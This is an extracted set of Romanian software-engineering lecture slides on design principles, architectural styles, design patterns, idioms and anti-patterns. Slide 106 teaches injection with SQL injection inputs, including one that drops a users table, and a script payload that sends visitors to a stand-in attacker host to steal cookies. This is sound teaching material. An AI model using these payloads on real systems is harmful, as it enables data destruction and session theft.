  • 66. Cazul 2 66 aria cercului ce este incorectă (valoarea corectă este 12.56) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 67. Soluția 1 67 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 68. Soluția 1 68 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 69. Soluția 1 69 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 70. Soluția 2 (clase imutabile) 70 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 71. Soluția 2 71 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 72. Principiul inversiunii dependențelor  Abstracțiunile nu trebuie să depindă de detalii. Detaliile trebuie să depindă de abstracțiuni  Clasele de nivel înalt nu trebuie să depindă de clasele de nivel scăzut. Ambele trebuie să depindă de abstracțiuni 72 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 73. Exemplu: problemă 73 Manager (clasa de nivel înalt) depinde de Worker (clasa de nivel scăzut) Dacă se adaugă un nou tip de muncitor, SuperWorker, trebuie modificată clasa Manager Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 74. Exemplu: soluție 74 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 75. Principiul responsabilității unice  O clasă trebuie să aibă un singur motiv să se modifice  O clasă trebuie să facă un singur lucru 75 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 76. Exemplu: problemă 76 Customer ar trebuie să se ocupe de logica de lucru cu baza de date, nu de înregistrarea excepțiilor Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 77. Exemplu: soluție 77 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 78. Principiul segregării interfețelor  Mai multe interfețe specifice pentru clienți sunt mai bune decât o singură interfață de uz general  Un client nu trebuie forțat să depindă de metode pe care nu le folosește 78 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 79. Exemplu 79 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 80. Exemplu 80 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 81. 81 Principii suplimentare  Principiul echivalenței lansare-reutilizare  Granula pentru reutilizare este granula pentru lansare  Clasele reutilizabile trebuie grupate  Principiul închiderii comune  Clasele care se modifică împreună trebuie grupate împreună  Clasele trebuie grupate astfel încât coeziunea să fie mare  Principiul reutilizării comune  Clasele care nu sunt reutilizate împreună nu trebuie grupate împreună  Clasele care se modifică determină o nouă versiune a întregului pachet Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 82. 82 Euristici de proiectare  Dimensiunea unui modul este o indicație asupra complexității acestuia  Module prea mari (≈ 100 linii) – partiționate  Module prea mici (≈ 2-3 linii) – combinate  Doar ținând cont de cuplarea și coeziunea configurației rezultate  Fan-in (numărul de module care îl folosesc) și fan-out (numărul de module folosite)  Fan-in-ul trebuie maximizat  Fan-out-ul trebuie să fie < 5-6 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 83. 83 Caracteristicile unei proiectări de calitate  Simplitatea  Cea mai importantă  Dimensiune redusă a codului  Codul bine proiectat pare evident, dar e greu de realizat  Eleganța  Aspect estetic  Fluxul de control este clar  Fiecare componentă adaugă ceva distinct  Lucrurile asemănătoare sunt asociate  Schimbările sunt localizate  Extensibilitatea  Structură logică și maleabilă  Interfețe, plug-in-uri dinamice  Echilibru: ce trebuie acum – ce va trebui în viitor – ce ar putea să trebuiască în viitor Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 84. 84 Caracteristicile unei proiectări de calitate  Modularitatea  Calitatea descompunerii  Lipsa duplicărilor  Copy-paste, apoi schimbările nu se fac în toate cazurile  Reinventarea roții  Generalizare: superclase, metode cu parametri  Portabilitatea  Nu trebuie compromisă calitatea codului dacă portabilitatea nu este necesară  Abstractizarea secțiunilor neportabile (care depind de SO sau hardware)  Proiectare idiomatică  C++: supraîncărcarea operatorilor  C#: proprietăți  Proiectare bine documentată: specificații ale arhitecturii, API Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 85. Faza de proiectare 1. Introducere 2. Arhitectura software 3. Proiectarea modulelor 4. Metrici de proiectare 5. Principii de proiectare 6. Șabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 86. 86 Șabloane de proiectare  Își au originea în ingineria construcțiilor și arhitectură  Christopher Alexander, arhitect  Notes on the Synthesis of Form (1964)  A Pattern Language: Towns, Buildings, Construction (1977)  Procesul inventării soluțiilor care manifestă o nouă ordine și organizare ca răspuns la funcționalitate  Un șablon este suficient de general pentru a fi aplicat în mai multe situații, dar suficient de concret pentru a fi util în luarea deciziilor Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 87. 87 Șabloane software  Soluții generale reutilizabile la probleme care apar frecvent în proiectare  Sunt descrieri despre cum se poate rezolva o problemă  Nu pot fi transformate direct în cod  Un șablon este o soluție la o problemă într-un context  Contextul: situațiile recurente în care se aplică șablonul  Problema: scopurile și constrângerile  Soluția: regula de proiectare Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 88. 88 Conținutul unui șablon  Numele  Problema: obiectivele  Contextul: pre-condițiile  Forțele: constrângerile care indică un compromis, de unde și apare nevoia de șablon  Soluția: cum se ating obiectivele  Contextul rezultant  Justificarea: cum funcționează intern și de ce (soluția – extern)  Șabloanele înrudite  Exemple  Moduri de utilizare cunoscute Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 89. 89 Tipuri de șabloane  Șabloane arhitecturale  Nivelul arhitecturii  Șabloane de proiectare  Nivelul modulelor/claselor  Idiomuri  Nivelul limbajului de programare Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 90. 90 Arhitectura multi-strat poate fi la rândul său multi-strat Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 91. 91 Arhitectura multi-nivel Multi-strat = descompunere fizică: dll, exe, mașini separate Multi-nivel = descompunere logică: namespace-uri, clase Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 92. Arhitectura MVC  Model-Vizualizare-Controlor (engl. “Model-View-Controller”, MVC) 92 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 93. Varianta clasică  Modelul: conține datele, starea și logica aplicației. Deși nu cunoaște Controlorul și Vizualizarea, furnizează o interfață pentru manipularea și preluarea stării și poate trimite notificări cu privire la schimbarea stării. De obicei primește cereri privind starea datelor de la Vizualizare și instrucțiuni de modificare a datelor sau stării de la Controlor  Vizualizarea: afișează Modelul într-o formă potrivită pentru utilizator. Pentru un sigur Model pot exista mai multe Vizualizări, de exemplu o listă de elemente poate fi afișată într-un control vizual precum ListBox, într-o consolă sau într-o pagină web  Controlorul: primește intrările de la utilizator și apelează obiectele Modelului pentru a prelucra noile informații 93 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 94. Variante modernă  Model-Vizualizare-Prezentator (engl. “Model-View-Presenter”, MVP)  Stratul de prezentare constă în obiecte de Vizualizare iar logica aplicației constă în obiecte de control (Prezentator/Controlor)  Pentru fiecare obiect de vizualizare există un obiect de control 94 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 95. 95 Arhitectura bazată pe componente  Asamblarea de aplicații din componente prefabricate  Interfețele trebuie bine definite  Interface Definition Language, IDL  .NET: determinarea interfețelor din implementare  Asigură cuplarea slabă între componente  Diferite tipuri de comunicare între componente  COM, CORBA, JavaBeans Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 96. Arhitectura orientată pe servicii  Funcționalitățile sunt separate în unități distincte, numite servicii, accesibile într-o rețea  Pot fi combinate și reutilizate  Scopul este tot cuplarea slabă  Interfațarea este deosebit de importantă  Furnizorii de servicii se pot înregistra la un broker, iar consumatorii caută serviciile dorite  Mai mulți furnizori pot oferi același serviciu: calitate, reputație  Servicii web: REST, SOAP 96 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 97. 97 Pipeline  Un lanț de elemente de prelucrare în care ieșirea unuia corespunde cu intrarea următorului  De exemplu: dir | sort | more  Transformările sunt de obicei incrementale  Formatul de date este de obicei foarte simplu, deseori text  Tratarea erorilor este mai dificilă  Utilizări:  Browsere  Aplicații de grafică  Interfețe grafice pentru programe consolă portabile Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 98. Pipeline  Programare funcțională, F#  |> trimite rezultatul unei funcții următoarei funcții enumFilesRec (filterOutPaths ["c:Windows";"c:ProgramData";"c:Program Files"]) (filterExt [".jpg"; ".gif"]) "c:Multimedia" |> Seq.groupBy (fun pth -> (Path.GetExtension pth, (FileInfo pth).Length)) |> Seq.filter (fun (_, s) -> (Seq.length s) > 1) |> Seq.map (fun (_, sq) -> [for path in sq -> path]) |> Seq.map groupEqualFiles |> Seq.map filterOutSingletons |> Seq.collect Seq.ofList |> Seq.iter (fun lst -> printfn "%A" lst) http://bartoszmilewski.com/2011/01/05/using-f-sequences-and-pipelines/ 98 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 99. 99 Platforma  engl. “framework”  Pentru o bibliotecă tradițională, programul apelează funcțiile din bibliotecă  Într-o platformă, apelul codului client este făcut de către platformă  De exemplu, platforma multi-agent JADE Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 100. Blackboard (tablă) 100  Propusă inițial pentru rezolvarea unor probleme complexe, insuficient definite  În general, folosită pentru unele aplicații legate de inteligența artificială, de exemplu:  Sisteme militare de detectare și urmărire a obiectelor (C4ISTAR)  Vizualizare interactivă a datelor de la sateliți (RADARSAT-1)  Recunoașterea optică a caracterelor (Adobe Acrobat Capture)  Interpretarea datelor de la senzori, “data fusion”  Roboți mobili, planificare, învățare simbolică Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 101. Blackboard (tablă)  Presupune existența mai multor „surse de cunoaștere” specializate pe domenii diverse  Mai întâi, pe tablă „se scriu” specificațiile problemei  Fiecare sursă de cunoaștere (specialist) caută ocazia de a contribui la rezolvarea problemei  Când cineva scrie pe tablă ceva care permite unui specialist să contribuie, acesta scrie la rândul său soluția la subproblema pe care o poate rezolva  Procesul de adăugare a contribuțiilor pe tablă continuă până când problema este rezolvată 101 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 102. 102 Șabloane de proiectare  Erich Gamma, Richard Helm, Ralph Johnson, John Vlissides (“Gang of Four”, GoF)  Elements of Reusable Object-Oriented Software (1994)  Trei clase:  Șabloane creaționale: instanțierea  Șabloane structurale: compunerea  Șabloane comportamentale: comunicarea Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 103. 103 Clasificare Le vom detalia în următoarele 6 cursuri Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 104. 104 Idiomuri  Incrementarea unui contor  Basic: i = i + 1  C: i += 1 / i++ / ++i  Interschimbarea a două valori  C: temp = a; a = b; b = temp;  Python: a, b = b, a  Perl: ($a, $b) = ($b, $a) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 105. 105 Anti-șabloane  Abstraction inversion  Input kludge  Permite, de exemplu, code injection (vezi slide-ul următor)  Interface bloat  Magic pushbutton  Race hazard  Stovepipe system  Anemic domain model  BaseBean  Circle-Ellipse problem  God object  Object orgy  Poltergeists  Yo-yo problem Pentru explicații, vezi suportul de curs Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 106. SQL / Code Injection  statement = "SELECT * FROM users WHERE name = " ' + userName + ' ";"  userName = a' or 't'='t  ⇒ SELECT * FROM users WHERE name ='a' OR 't'='t';  userName = a'; DROP TABLE users;  ⇒ SELECT * FROM users WHERE name = 'a'; DROP TABLE users;  Mesaj pe “guestbook”-ul unui site web:  Nice site! <script>document.location='http://attacker.nu/cookie.cgi?'</script> 106 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
  • 107. 107 Concluzii  Faza de proiectare arată CUM dorim să construim  Se referă la domeniul soluției  Există trei tipuri de șabloane de proiectare, corespunzătoare nivelurilor de generalitate ale proiectării:  Șabloane arhitecturale (pentru proiectarea arhitecturii)  Șabloane de proiectare (pentru proiectarea modulelor)  Idiomuri (pentru proiectarea detaliată)  Capacitatea de a proiecta bine vine din respectarea principiilor de proiectare și din experiență Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm